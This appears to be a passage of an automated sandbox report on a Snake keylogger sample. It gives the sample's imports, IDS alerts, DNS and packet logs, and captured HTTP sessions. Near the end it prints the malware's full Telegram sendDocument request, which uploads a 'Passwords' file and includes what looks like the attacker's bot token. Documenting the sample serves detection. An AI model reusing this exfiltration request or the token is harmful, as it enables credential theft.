RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0x18282	data			1.000414367432741
RT_GROUP_ICON	0xe7a3c	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0xe7ab4	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xe7ac8	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xe7adc	0x14	data	English	Great Britain	1.25
RT_VERSION	0xe7af0	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xe7bcc	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T18:30:15.475101+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49722	158.101.44.242	80	TCP
2025-01-10T18:30:24.272258+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.6	49722	158.101.44.242	80	TCP
2025-01-10T18:30:25.023540+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.6	49725	149.154.167.220	443	TCP
2025-01-10T18:30:25.327463+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.6	49725	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:30:04.003336906 CET	49722	80	192.168.2.6	158.101.44.242
Jan 10, 2025 18:30:04.008281946 CET	80	49722	158.101.44.242	192.168.2.6
Jan 10, 2025 18:30:04.008486986 CET	49722	80	192.168.2.6	158.101.44.242
Jan 10, 2025 18:30:04.011152983 CET	49722	80	192.168.2.6	158.101.44.242
Jan 10, 2025 18:30:04.016071081 CET	80	49722	158.101.44.242	192.168.2.6
Jan 10, 2025 18:30:15.188271999 CET	80	49722	158.101.44.242	192.168.2.6
Jan 10, 2025 18:30:15.193980932 CET	49722	80	192.168.2.6	158.101.44.242
Jan 10, 2025 18:30:15.198837996 CET	80	49722	158.101.44.242	192.168.2.6
Jan 10, 2025 18:30:15.419696093 CET	80	49722	158.101.44.242	192.168.2.6
Jan 10, 2025 18:30:15.472953081 CET	49724	443	192.168.2.6	104.21.96.1
Jan 10, 2025 18:30:15.473057985 CET	443	49724	104.21.96.1	192.168.2.6
Jan 10, 2025 18:30:15.473144054 CET	49724	443	192.168.2.6	104.21.96.1
Jan 10, 2025 18:30:15.475100994 CET	49722	80	192.168.2.6	158.101.44.242
Jan 10, 2025 18:30:15.481980085 CET	49724	443	192.168.2.6	104.21.96.1
Jan 10, 2025 18:30:15.482011080 CET	443	49724	104.21.96.1	192.168.2.6
Jan 10, 2025 18:30:15.972430944 CET	443	49724	104.21.96.1	192.168.2.6
Jan 10, 2025 18:30:15.972534895 CET	49724	443	192.168.2.6	104.21.96.1
Jan 10, 2025 18:30:15.976638079 CET	49724	443	192.168.2.6	104.21.96.1
Jan 10, 2025 18:30:15.976671934 CET	443	49724	104.21.96.1	192.168.2.6
Jan 10, 2025 18:30:15.977021933 CET	443	49724	104.21.96.1	192.168.2.6
Jan 10, 2025 18:30:16.022006989 CET	49724	443	192.168.2.6	104.21.96.1
Jan 10, 2025 18:30:16.046662092 CET	49724	443	192.168.2.6	104.21.96.1
Jan 10, 2025 18:30:16.087338924 CET	443	49724	104.21.96.1	192.168.2.6
Jan 10, 2025 18:30:16.163929939 CET	443	49724	104.21.96.1	192.168.2.6
Jan 10, 2025 18:30:16.163999081 CET	443	49724	104.21.96.1	192.168.2.6
Jan 10, 2025 18:30:16.164091110 CET	49724	443	192.168.2.6	104.21.96.1
Jan 10, 2025 18:30:16.170734882 CET	49724	443	192.168.2.6	104.21.96.1
Jan 10, 2025 18:30:21.283294916 CET	49722	80	192.168.2.6	158.101.44.242
Jan 10, 2025 18:30:21.288147926 CET	80	49722	158.101.44.242	192.168.2.6
Jan 10, 2025 18:30:24.227956057 CET	80	49722	158.101.44.242	192.168.2.6
Jan 10, 2025 18:30:24.272258043 CET	49722	80	192.168.2.6	158.101.44.242
Jan 10, 2025 18:30:24.356746912 CET	49725	443	192.168.2.6	149.154.167.220
Jan 10, 2025 18:30:24.356854916 CET	443	49725	149.154.167.220	192.168.2.6
Jan 10, 2025 18:30:24.357254982 CET	49725	443	192.168.2.6	149.154.167.220
Jan 10, 2025 18:30:24.357969046 CET	49725	443	192.168.2.6	149.154.167.220
Jan 10, 2025 18:30:24.358016968 CET	443	49725	149.154.167.220	192.168.2.6
Jan 10, 2025 18:30:24.974160910 CET	443	49725	149.154.167.220	192.168.2.6
Jan 10, 2025 18:30:24.974267006 CET	49725	443	192.168.2.6	149.154.167.220
Jan 10, 2025 18:30:24.977072001 CET	49725	443	192.168.2.6	149.154.167.220
Jan 10, 2025 18:30:24.977107048 CET	443	49725	149.154.167.220	192.168.2.6
Jan 10, 2025 18:30:24.977399111 CET	443	49725	149.154.167.220	192.168.2.6
Jan 10, 2025 18:30:24.979912043 CET	49725	443	192.168.2.6	149.154.167.220
Jan 10, 2025 18:30:25.023338079 CET	443	49725	149.154.167.220	192.168.2.6
Jan 10, 2025 18:30:25.023442030 CET	49725	443	192.168.2.6	149.154.167.220
Jan 10, 2025 18:30:25.023457050 CET	443	49725	149.154.167.220	192.168.2.6
Jan 10, 2025 18:30:25.327523947 CET	443	49725	149.154.167.220	192.168.2.6
Jan 10, 2025 18:30:25.327620983 CET	443	49725	149.154.167.220	192.168.2.6
Jan 10, 2025 18:30:25.327694893 CET	49725	443	192.168.2.6	149.154.167.220
Jan 10, 2025 18:30:25.328485012 CET	49725	443	192.168.2.6	149.154.167.220
Jan 10, 2025 18:31:29.228080034 CET	80	49722	158.101.44.242	192.168.2.6
Jan 10, 2025 18:31:29.228152990 CET	49722	80	192.168.2.6	158.101.44.242
Jan 10, 2025 18:31:56.178993940 CET	49722	80	192.168.2.6	158.101.44.242
Jan 10, 2025 18:31:56.183800936 CET	80	49722	158.101.44.242	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 18:30:03.973251104 CET	50339	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:30:03.982108116 CET	53	50339	1.1.1.1	192.168.2.6
Jan 10, 2025 18:30:15.464456081 CET	54113	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:30:15.472103119 CET	53	54113	1.1.1.1	192.168.2.6
Jan 10, 2025 18:30:24.348684072 CET	52701	53	192.168.2.6	1.1.1.1
Jan 10, 2025 18:30:24.355526924 CET	53	52701	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 18:30:03.973251104 CET	192.168.2.6	1.1.1.1	0x789d	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:15.464456081 CET	192.168.2.6	1.1.1.1	0x3af	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:24.348684072 CET	192.168.2.6	1.1.1.1	0x6829	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 18:30:03.982108116 CET	1.1.1.1	192.168.2.6	0x789d	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 18:30:03.982108116 CET	1.1.1.1	192.168.2.6	0x789d	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:03.982108116 CET	1.1.1.1	192.168.2.6	0x789d	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:03.982108116 CET	1.1.1.1	192.168.2.6	0x789d	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:03.982108116 CET	1.1.1.1	192.168.2.6	0x789d	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:03.982108116 CET	1.1.1.1	192.168.2.6	0x789d	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:15.472103119 CET	1.1.1.1	192.168.2.6	0x3af	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:15.472103119 CET	1.1.1.1	192.168.2.6	0x3af	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:15.472103119 CET	1.1.1.1	192.168.2.6	0x3af	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:15.472103119 CET	1.1.1.1	192.168.2.6	0x3af	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:15.472103119 CET	1.1.1.1	192.168.2.6	0x3af	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:15.472103119 CET	1.1.1.1	192.168.2.6	0x3af	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:15.472103119 CET	1.1.1.1	192.168.2.6	0x3af	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:30:24.355526924 CET	1.1.1.1	192.168.2.6	0x6829	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49722	158.101.44.242	80	6368	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:30:04.011152983 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 10, 2025 18:30:15.188271999 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:30:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d30710fb941ca26bcf04a5131a257a5c Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 18:30:15.193980932 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 18:30:15.419696093 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:30:15 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: d8038d2c17da287695f7a877604b3af5 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 10, 2025 18:30:21.283294916 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 10, 2025 18:30:24.227956057 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:30:24 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4444f954f852409390fb11e8846788fd Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49724	104.21.96.1	443	6368	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:30:16 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 17:30:16 UTC	855	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 17:30:16 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1845005 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=adqJ8f0F6TkueUmEFgDZU14i00QZ%2B0dTU5NmptXoDglOPZ20LijANp7sIw7NNw7sV8pyVvl773eqAzYBHsFqJbWCgdqugtBF3z4ZHZV3B5JmAC9sTGW2%2FFmLiV69bnyJviW7L%2Fo1"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffe64da9da542c0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1733&min_rtt=1724&rtt_var=664&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1625835&cwnd=212&unsent_bytes=0&cid=2bddd766c3ab7216&ts=202&x=0"
2025-01-10 17:30:16 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49725	149.154.167.220	443	6368	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 17:30:24 UTC	298	OUT	POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31728dc874c9 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 17:30:25 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 37 32 38 64 63 38 37 34 63 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31728dc874c9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
